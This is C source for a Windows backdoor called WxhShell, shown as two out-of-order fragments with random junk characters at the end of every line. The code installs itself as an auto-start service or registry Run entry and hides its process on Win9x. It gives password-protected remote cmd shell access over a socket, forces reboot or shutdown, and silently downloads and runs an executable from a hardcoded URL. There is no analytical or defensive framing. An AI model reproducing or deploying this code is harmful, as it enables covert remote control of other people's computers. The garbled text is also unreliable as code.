  // 关机 m5O;aj* i  
  case 'd': { v/n4Lp$W^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -E6#G[JJ  
    if(Boot(SHUTDOWN)) (1~d/u?2\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7 Jxhn!  
    else { 8MHYk>O~{G  
    closesocket(wsh); H4s^&--  
    ExitThread(0); =0te.io)3O  
    } 7Ao9MF-  
    break; gWt}q-@nRR  
    } J%G EIe|  
  // 获取shell vwVK ^B  
  case 's': {  ~F?vf@k  
    CmdShell(wsh); /az}<r8  
    closesocket(wsh); .A;e` cKb  
    ExitThread(0); Z`5jX;Z!  
    break; X$o$8s  
  } ?2hS<qXX  
  // 退出 Ekb9=/  
  case 'x': { r-M:YB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); + .Pv:7gh  
    CloseIt(wsh); k)Y}X)\36  
    break; ^ olaq(z  
    } i$~2pr  
  // 离开 N=1zhI:VaQ  
  case 'q': { AJk0jh\.j%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \;al@yC=T  
    closesocket(wsh); ~U] "dbQ  
    WSACleanup(); R+'$V$g\X  
    exit(1); T&M*sydA  
    break; ?C( ' z7  
        } ) >_xHc?  
  } Vu @2  
  } 3 [R<JrO  
H .F-mm  
  // 提示信息 zV)(i<Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K gN=b  
} RrFq"  
  } Rne#z2Ok  
D?+\"lI  
  return; ~SI`%^L  
} !VaKq_W  
DtXQLL*fl(  
// shell模块句柄 $;kFuJF  
int CmdShell(SOCKET sock) PUt\^ke  
{ C$"N)6%q  
STARTUPINFO si; Y(aEp_kV  
ZeroMemory(&si,sizeof(si)); 1J`<'{*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #6t 4 vJ1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1u?h4w C  
PROCESS_INFORMATION ProcessInfo; #w%d  
char cmdline[]="cmd"; )7$1Da|.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p`/"e<TP  
  return 0; J1i{n7f=@  
} t)#8r,9c  
f`r o {p  
// 自身启动模式 [I*)H7pt}  
int StartFromService(void) h |Ofi  
{ gMN>`Z`fV  
typedef struct 4LG[i}u.N  
{ 26SXuFJ@  
  DWORD ExitStatus; j@N z  
  DWORD PebBaseAddress; CSKOtqKQ)  
  DWORD AffinityMask; 1D *oXE9Ig  
  DWORD BasePriority; fL0dy[Ch@  
  ULONG UniqueProcessId; 9((BOq  
  ULONG InheritedFromUniqueProcessId; D-{;;<nIr`  
}   PROCESS_BASIC_INFORMATION; 'eyzH[l,(  
_?]0b7X  
PROCNTQSIP NtQueryInformationProcess; %7w=;]ym  
w=NM==cLj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OQlmzg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u|;?FQ$M  
0ge"ISK  
  HANDLE             hProcess; [&_7w\m  
  PROCESS_BASIC_INFORMATION pbi; YmrrZ&]q  
d=` a-R0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 968<yO]  
  if(NULL == hInst ) return 0; z7vc|Z|  
5j8aMnvs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :G.u{cw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @nC][gNv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b 7XTOB_HO  
PK C}!>2  
  if (!NtQueryInformationProcess) return 0; rJjNoY  
mu#I F'|b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0+-"9pED>E  
  if(!hProcess) return 0; 1c5+X Cr  
+3>)r{#k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OC?a[^hB^)  
FUt{-H!<  
  CloseHandle(hProcess); \d'>Ky;GD  
/9SEW!E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y ~TR`y  
if(hProcess==NULL) return 0; Z\YCjs%  
B$=oU   
HMODULE hMod; /)%$xi  
char procName[255]; ]_"c_QG  
unsigned long cbNeeded; X!aC6gujOH  
@AB}r1E2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _i3?;Fds  
M]Kx g;  
  CloseHandle(hProcess); tPp9=e2[s  
:VkuK@Th`  
if(strstr(procName,"services")) return 1; // 以服务启动 ;[qA?<GJ  
<?2g\+{s9  
  return 0; // 注册表启动 v}cTS@0  
} _p^?_  
>(?}'pS8  
// 主模块 MG}rvzn@  
int StartWxhshell(LPSTR lpCmdLine) V=i/cI\  
{ Cs!z3QU  
  SOCKET wsl; w"Q/ 6#!K  
BOOL val=TRUE; 1"\^@qRv#  
  int port=0; 9QXBz=Fnf  
  struct sockaddr_in door; +YJpVxYmZ  
T'ko =k  
  if(wscfg.ws_autoins) Install(); gLDO|ADni  
vVbBg; {  
port=atoi(lpCmdLine); qjm6\ii:)  
V}Ok>6(~  
if(port<=0) port=wscfg.ws_port; ;i 'mma_!  
+vr|J:  
  WSADATA data; #+"1">l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qWdob>u  
.5^7Jwh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i5*BZv>e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B>;`$-  
  door.sin_family = AF_INET; yI{4h $c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `o4%UkBpM  
  door.sin_port = htons(port); ykS-5E`  
.A Dik}o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *^3&Y@  
closesocket(wsl); JBI>D1`"  
return 1; ^XgBkC~  
} ,I2x&Ys&.  
 "d; T1  
  if(listen(wsl,2) == INVALID_SOCKET) { 9Ai 3p  
closesocket(wsl); CcJ%; .V,T  
return 1; I3.cy i  
} Op_(10|  
  Wxhshell(wsl); 3/{,}F$  
  WSACleanup(); j5:/Gl8  
 NZu2D  
return 0; Z ~3  
Q{o]^tN  
} Z[G[.\0  
=h>jo&=Wad  
// 以NT服务方式启动 9dO. ,U*`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7~qyz]KkE  
{ Yq-Vwh/  
DWORD   status = 0; {9XN\v=$"*  
  DWORD   specificError = 0xfffffff; X( )yhe_  
4T>d%Tt+)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hnnVp_<]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |W\U9n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v.6K;TY.  
  serviceStatus.dwWin32ExitCode     = 0; iu iVr$E  
  serviceStatus.dwServiceSpecificExitCode = 0; +C36OcmT~  
  serviceStatus.dwCheckPoint       = 0; ROr|n]aJj  
  serviceStatus.dwWaitHint       = 0; ~f6 Q  
O +u? Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O~OM.:al&  
  if (hServiceStatusHandle==0) return; Rn$TYCO  
I]-"Tw  
status = GetLastError(); {O!B8a    
  if (status!=NO_ERROR) 4*&2D-8<K  
{ Tg@:mw5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gl~9|$ivj>  
    serviceStatus.dwCheckPoint       = 0; r'<!wp@  
    serviceStatus.dwWaitHint       = 0; ,UNnz&H+f  
    serviceStatus.dwWin32ExitCode     = status; !y&<IT(\4  
    serviceStatus.dwServiceSpecificExitCode = specificError; ++!'6! l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PVi0|  
    return; qQwf#&  
  } }vEMG-sxX  
S=a>rnF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &9ERlZ(A  
  serviceStatus.dwCheckPoint       = 0; BC)1FxsGf  
  serviceStatus.dwWaitHint       = 0; bMB@${i}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v=~+o[  
} 2Ah B)8bG  
ew&"n2r  
// 处理NT服务事件,比如:启动、停止 cS%;JV>C  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a] P0PH~  
{ \gGTkH  
switch(fdwControl) gs(ZJO1 /L  
{ 6J<R;g23R]  
case SERVICE_CONTROL_STOP: *o=[p2d"X  
  serviceStatus.dwWin32ExitCode = 0; &9EcgazV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Hy b_> n  
  serviceStatus.dwCheckPoint   = 0; ";Q}Gs}  
  serviceStatus.dwWaitHint     = 0; 4vi [hiV   
  { C ~Doj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VQI[ J  
  } (H;,E-  
  return; PQrc#dfc |  
case SERVICE_CONTROL_PAUSE: "XLFw;o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1b<[/g9  
  break; t+#vcg,G  
case SERVICE_CONTROL_CONTINUE: b/d 1(B@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Tq,dlDDOR  
  break; =@P]eK/  
case SERVICE_CONTROL_INTERROGATE: I&f!>y?,Z  
  break; !>:]k?$b  
}; g*;z V i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s]pNT1,  
} %-L T56T  
d^Rea8  
// 标准应用程序主函数 m[nrr6 G"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o|APsQE  
{ ;)Sf|  
A3.*d:A  
// 获取操作系统版本 n^Q-K}!T/  
OsIsNt=GetOsVer(); >J_(~{-sNG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1cS*T>`  
};g<|v*o  
  // 从命令行安装 G5NAwpZf  
  if(strpbrk(lpCmdLine,"iI")) Install(); t;}`~B  
)T@?.J`  
  // 下载执行文件 j/F:j5O*  
if(wscfg.ws_downexe) { sn8l3h)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GC[Ot~*_  
  WinExec(wscfg.ws_filenam,SW_HIDE); &hJQHlyJM0  
} _q}^#-  
Q[9W{l+  
if(!OsIsNt) { _~ 3r*j  
// 如果时win9x,隐藏进程并且设置为注册表启动 p2hPLq  
HideProc(); ^@)*voP#G  
StartWxhshell(lpCmdLine); Yo\%53w/  
} }J6 y NoXu  
else $mxl&Qr>Q;  
  if(StartFromService()) gkDXt^Ob  
  // 以服务方式启动 = O|}R  
  StartServiceCtrlDispatcher(DispatchTable); Yv3 P]6c.  
else !$p E=~1C  
  // 普通方式启动 %zN~%mJG  
  StartWxhshell(lpCmdLine); ^fP5@T*f  
ir~4\G!  
return 0; p: u@? k  
} #&Rx?V  
Pk&$ #J_  
jEm =A8q  
juQ?k xOB  
=========================================== yJdkDVxYr  
h*?]A  
fs2y$HN  
w& )ApfL  
4veXg/l  
L0*f(H  
" ++BQ==@  
2p~G][  
#include <stdio.h> @2sr/gX^  
#include <string.h> 71Y3.1+  
#include <windows.h> _ Gkb[H&RZ  
#include <winsock2.h> U.1&'U*  
#include <winsvc.h> p3qKtMs0!  
#include <urlmon.h> g6@^n$Y  
*t`=1Ioj  
#pragma comment (lib, "Ws2_32.lib") k/i&e~! \  
#pragma comment (lib, "urlmon.lib") rxOv YF  
HE-ErEtGB  
#define MAX_USER   100 // 最大客户端连接数 jpZ 7p ;  
#define BUF_SOCK   200 // sock buffer |<#yXSi  
#define KEY_BUFF   255 // 输入 buffer l4y>uZ>a  
(Ft#6oK"  
#define REBOOT     0   // 重启 U%)*I~9  
#define SHUTDOWN   1   // 关机 ' /3\bvZ  
_pkmHj(  
#define DEF_PORT   5000 // 监听端口 A27!I+M  
^xq)Q?[{  
#define REG_LEN     16   // 注册表键长度 ]'<"qY  
#define SVC_LEN     80   // NT服务名长度 EME}G42KN  
mcWN.  
// 从dll定义API b@B\2BT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |AS9^w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /5~j"| U'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yY!@FGsA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o4,9jk$  
&(NW_ <(  
// wxhshell配置信息 'JJ :  
struct WSCFG { of>H&G)@  
  int ws_port;         // 监听端口 A`V:r2hnb  
  char ws_passstr[REG_LEN]; // 口令 ~n%]u! 6  
  int ws_autoins;       // 安装标记, 1=yes 0=no _xM3c&VeG  
  char ws_regname[REG_LEN]; // 注册表键名 7b(r'b@N  
  char ws_svcname[REG_LEN]; // 服务名 PQ" v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Wqe0m_7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TlC? ?#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5:T}C@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GK{~n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" foe)_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [ub)`-6 u  
;oOv~ YB7H  
}; Mr@{3do$  
c LfPSA  
// default Wxhshell configuration E0eZal],  
struct WSCFG wscfg={DEF_PORT, Dk}txw}#  
    "xuhuanlingzhe", 5KW n>n  
    1, 6>[J^k%~w)  
    "Wxhshell", L"}2Y3  
    "Wxhshell", \cQ+9e)  
            "WxhShell Service", bLO^5`6  
    "Wrsky Windows CmdShell Service", 3A3WD+[L  
    "Please Input Your Password: ", pEY zB;  
  1, =91f26c!~  
  "http://www.wrsky.com/wxhshell.exe", *Tq7[v{0*|  
  "Wxhshell.exe" wvH*<,8V q  
    }; ' &Tz8.jp~  
n M `pnR_  
// 消息定义模块 uk3PoB^>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |%j7Es  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Nk?L<'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ht*;,[ea  
char *msg_ws_ext="\n\rExit."; JQSczE3  
char *msg_ws_end="\n\rQuit."; ]T%wRd5&-  
char *msg_ws_boot="\n\rReboot..."; /brHB @$  
char *msg_ws_poff="\n\rShutdown..."; 'Ecd\p  
char *msg_ws_down="\n\rSave to "; y7LM}dH#m  
LHs^Xo18  
char *msg_ws_err="\n\rErr!"; _ !k\~4U  
char *msg_ws_ok="\n\rOK!"; )_K:A(V>  
X`7O%HiX/`  
char ExeFile[MAX_PATH]; Hm_&``='  
int nUser = 0; =j8g6#'u  
HANDLE handles[MAX_USER]; [k=LX+w@  
int OsIsNt; ,9W!cD+0  
.19_EQ>+  
SERVICE_STATUS       serviceStatus; rrl{3 ?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; WB"90!  
;MW=F9U*  
// 函数声明 D\  P-|}  
int Install(void);  sM9NHwg  
int Uninstall(void); sd |c/ayh~  
int DownloadFile(char *sURL, SOCKET wsh); Q'rX]kk_  
int Boot(int flag); XW*d\vDun  
void HideProc(void); 1(/rg  
int GetOsVer(void); }LX.gm  
int Wxhshell(SOCKET wsl); ki]i[cdk  
void TalkWithClient(void *cs); A{gniYqvB`  
int CmdShell(SOCKET sock); ,DCrhk  
int StartFromService(void); fKa]F`p_h  
int StartWxhshell(LPSTR lpCmdLine); VKy3tW/_&  
SKVQ !^o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Cil1wFBb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F#|mN0op  
Pa/2])w  
// 数据结构和表定义 Zrq\:KxX  
SERVICE_TABLE_ENTRY DispatchTable[] = nDXy$f8  
{ Suk;##I  
{wscfg.ws_svcname, NTServiceMain}, |q 0iX2W  
{NULL, NULL} qO>A 6  
}; vcSb:('  
MwWN;_#EO)  
// 自我安装 =l%|W[OO  
int Install(void) D/tFN+|P  
{ r,ep{ p  
  char svExeFile[MAX_PATH]; 2&:nHZ)  
  HKEY key; Rc~63![O.  
  strcpy(svExeFile,ExeFile); ,772$7x  
"=UhTE  
// 如果是win9x系统,修改注册表设为自启动 |w.5*]?H  
if(!OsIsNt) { +\Je B/F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j`-9.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 67wq8|  
  RegCloseKey(key); lv& y<d;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m!:sDQn{3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 03 ;L  
  RegCloseKey(key); S,#UA%V"  
  return 0; nk+9 J#Gs  
    } .7n`]S/  
  } P,7beHjf  
} $WbfRyXi7'  
else { =]0AZ  
u@kr;^m  
// 如果是NT以上系统,安装为系统服务 9<"l!noy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @*JS[w$1  
if (schSCManager!=0) 7/FF}d  
{ :qvaI,  
  SC_HANDLE schService = CreateService t,qz%J&a  
  ( Y^'mBM#j  
  schSCManager, {Lvta4}7(  
  wscfg.ws_svcname, um$L;-2:  
  wscfg.ws_svcdisp, )IGx3+I ,  
  SERVICE_ALL_ACCESS, ^%/d]Zwb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b+THn'2  
  SERVICE_AUTO_START, 8-q4'@(  
  SERVICE_ERROR_NORMAL, k; vhQ=  
  svExeFile, @BqSu|'Du,  
  NULL, A@n//AZM  
  NULL, 9w$+Qc  
  NULL, M;E$ ]Z9  
  NULL, iuEQ?fp  
  NULL d'b q#r  
  ); %~qY\>  
  if (schService!=0) JPkI+0  
  { EV N:3  
  CloseServiceHandle(schService); 5}`e"X  
  CloseServiceHandle(schSCManager); MW)=l | G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?yAjxoE~?  
  strcat(svExeFile,wscfg.ws_svcname); yo#fJ`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ufe@G\uyI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >2K:O\&  
  RegCloseKey(key); >~\CiV4^  
  return 0; 7R>Pk9J  
    } <_-8)abK  
  } r#WAS2.TP  
  CloseServiceHandle(schSCManager); =%9j8wHX  
} E7|P\^}m(f  
} RU,!F99'1  
O-]^_LV`  
return 1; usI$  
} ~)iQbLI  
G!w?\-  
// 自我卸载 ;Y`k-R:E6A  
int Uninstall(void) X8(WsN  
{ "y=AVO  
  HKEY key; F6-U{+KU$!  
be~'}`>  
if(!OsIsNt) { Bc51 0I$c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <84d Vg  
  RegDeleteValue(key,wscfg.ws_regname); }G 1hB#j  
  RegCloseKey(key); XN~r d,MZ%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5w@Q %'o`I  
  RegDeleteValue(key,wscfg.ws_regname); \m1jV>q  
  RegCloseKey(key); ??=7pFm  
  return 0; oOHr~<  
  } TS;?>J-  
} [^A>hs*  
} p`3$NCJN  
else { Q#*Pjl  
%1e{"_$O9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :faB7wduW;  
if (schSCManager!=0) -LEpT$v|  
{ 5gY9D!;:0D  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O@? *5  
  if (schService!=0) - x]gp5  
  { JbEQ35r  
  if(DeleteService(schService)!=0) { \UBQ:+3  
  CloseServiceHandle(schService); v6+<F;G3y>  
  CloseServiceHandle(schSCManager); wM&WR2  
  return 0; ?K^~(D8(  
  } 2^=.jML[  
  CloseServiceHandle(schService); nAW`G'V#  
  } pN7 v7rs  
  CloseServiceHandle(schSCManager); 1U~yu&  
} ~QE-$;  
} :*s+X$x,<  
kK$*,]iCp  
return 1; y,=TB#  
} f2RIOL,  
o:Q.XWa@MG  
// 从指定url下载文件 jd?NN:7  
int DownloadFile(char *sURL, SOCKET wsh) {-)*.l=  
{ x>~.cey  
  HRESULT hr; Q1?0 ]5  
char seps[]= "/"; nwPU{4#l<  
char *token; ^ ]CQd   
char *file; (TFo]c  
char myURL[MAX_PATH]; ex-W{k$  
char myFILE[MAX_PATH]; 9>HCt*|_8  
/V)4B4  
strcpy(myURL,sURL); 41jlfKiOm  
  token=strtok(myURL,seps); 2K$#U|Qi  
  while(token!=NULL) d NgjM Q  
  { APT /z0X>  
    file=token; 2x dN0S  
  token=strtok(NULL,seps); *'nZ|r v  
  } Hnc<)_DF  
,7|Wf %X  
GetCurrentDirectory(MAX_PATH,myFILE); ;OfZEy>7  
strcat(myFILE, "\\"); wQ/Z:  
strcat(myFILE, file); 088"7 s  
  send(wsh,myFILE,strlen(myFILE),0); u3@v  
send(wsh,"...",3,0); e&J_uG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qI#ow_lL#  
  if(hr==S_OK) uV+.(sjH  
return 0; ;gNoiAxW  
else 52d8EGC  
return 1; mY !LGN  
<<.%Gk  
} 7__?1n~{  
>@c~M  
// 系统电源模块 _4#&!b6  
int Boot(int flag) y<A%&  
{ KHJk}]K  
  HANDLE hToken; rE&+fSBD  
  TOKEN_PRIVILEGES tkp; ?^H1X-;  
Jdp@3mP  
  if(OsIsNt) { o:"^@3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k=):>}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?sm@lDZ\  
    tkp.PrivilegeCount = 1; S2*ER  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p7kH"j{xD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l9X\\uG&  
if(flag==REBOOT) { T&PLvyBL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |8YP8o  
  return 0; {r2fIj~V  
} KL\]1YX  
else { ccu13Kr>E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -!b@\=  
  return 0; @CU~3Md*  
} mtn+bV R%  
  } %:WM]dc  
  else { '4}c1F1T_  
if(flag==REBOOT) { <UMT:`h1MZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 37QXML  
  return 0; ]J* y`jn  
} "~HV!(dRMC  
else { '{(/C?T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xMAb=87_  
  return 0; cXo^.u  
} Zc9j_.?*  
} dn)pVti_  
}^R_8{>k  
return 1; 2?bE2^6  
} +|=5zWI /  
7yK1Q_XY>  
// win9x进程隐藏模块 8${Yu  
void HideProc(void) eX@7f!uz  
{ J \V.J/  
GxR, 3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {BlKVsQ  
  if ( hKernel != NULL ) $ZOKB9QccC  
  { (66DKG   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1KtPq,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (ATCP#lF  
    FreeLibrary(hKernel); 8 K/o/  
  } mC}!;`$8p  
>7^+ag~&  
return; r!7e:p JLO  
} e;/C}sK:  
IAJYD/Y&?  
// 获取操作系统版本 A->y#KQ  
int GetOsVer(void) 'F[ C 4  
{ }&mFpc  
  OSVERSIONINFO winfo; ef;Ta|#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ttK`*Ng  
  GetVersionEx(&winfo); BLvI[b|3gn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r\-25F<e5  
  return 1; hIr$^%  
  else r 7mg>3  
  return 0; k v}<u  
} KtFxG6a  
S"z cSkF  
// 客户端句柄模块 ]$vJK  
int Wxhshell(SOCKET wsl) N3`W%ws`~  
{ 2%DleR'i  
  SOCKET wsh; P6E=*^^m(  
  struct sockaddr_in client; +L$,jZqS  
  DWORD myID; Kx;DmwX-  
OJ'x>kE  
  while(nUser<MAX_USER) oe5.tkc  
{ h1 D#,  
  int nSize=sizeof(client); gAY%VFBP0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _x.D< n=X  
  if(wsh==INVALID_SOCKET) return 1; $.z~bmH"D  
|=frsf~?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <9s=K\-  
if(handles[nUser]==0) ^3-Wxn9&  
  closesocket(wsh); ;^,2 QsM  
else Y)@PGxjz  
  nUser++; ]/+qM)F  
  } VhAZncw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P~+?:buqc  
_uO#0 )l  
  return 0; |@-%x.y  
} i~IQlyGr.  
B9 Dh^9?L  
// 关闭 socket Qw$"W/&X  
void CloseIt(SOCKET wsh) r $du-U  
{ FBGHVV w!  
closesocket(wsh); x,Cc$C~YP  
nUser--; `FImi9%F  
ExitThread(0); e<> Lr  
} @J~y_J{  
G@) I  
// 客户端请求句柄 NS l$5E  
void TalkWithClient(void *cs) 5g- apod  
{ vl@t4\@3  
1 ]@}+H  
  SOCKET wsh=(SOCKET)cs; 9 @yP;{Q  
  char pwd[SVC_LEN]; p 0.?R  
  char cmd[KEY_BUFF]; n(Up?_  
char chr[1]; $l&&y?()  
int i,j; tH:K6^oR  
}eX_p6bBw  
  while (nUser < MAX_USER) { X*~NE\  
@Y>3-,o,S  
if(wscfg.ws_passstr) { +fhyw{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |7Q8WjCQ{m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R0<ka[+  
  //ZeroMemory(pwd,KEY_BUFF); n;"4`6L~  
      i=0; z#!xqIg0  
  while(i<SVC_LEN) { 4:}`X  
QD:0iD?  
  // 设置超时 xLZQ\2q  
  fd_set FdRead; lxK_+fj q  
  struct timeval TimeOut; yvxC/Jo4  
  FD_ZERO(&FdRead); 6QRfju'  
  FD_SET(wsh,&FdRead); =3=KoH/'  
  TimeOut.tv_sec=8; r1FE$R~C=  
  TimeOut.tv_usec=0; F.=u Jdl.!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'KGY;8<x]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e![Q1!r  
lq@Vb{Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AEwb'  
  pwd=chr[0]; 4(4JQ(5  
  if(chr[0]==0xd || chr[0]==0xa) { 8mA6l0  
  pwd=0; F$ .j|C1a  
  break; $U jSP  
  } 2LYd # !i  
  i++; lkg-l<c\J  
    } F!>K8q  
1A- 8,)  
  // 如果是非法用户,关闭 socket Hcd>\0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i&,U);T  
} ~,e!t.339  
t%z7#}9$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >*}qGk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3i(k6)H$4  
MatC2-aV1  
while(1) { bT-G<h*M  
(?\ZN+V)  
  ZeroMemory(cmd,KEY_BUFF); gE=~.P[ZX  
fnnwe2aso  
      // 自动支持客户端 telnet标准   vP}K(' (  
  j=0; oQ;f`JC^  
  while(j<KEY_BUFF) { +$>ut r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ):78GVp  
  cmd[j]=chr[0]; 5 J|;RtcR  
  if(chr[0]==0xa || chr[0]==0xd) { gSj-~k P  
  cmd[j]=0; CHpDzG>]4  
  break; sW2LNE  
  } `^J~^Z7Y-  
  j++; %Y Rg1UKY  
    } * Kzs(O  
@@|E1'c7  
  // 下载文件 M]` Q4\  
  if(strstr(cmd,"http://")) { )+t5G>yKK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :=L[kzX  
  if(DownloadFile(cmd,wsh)) ,f?#i%EF&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y)u} +Yg  
  else !CBx$1z  
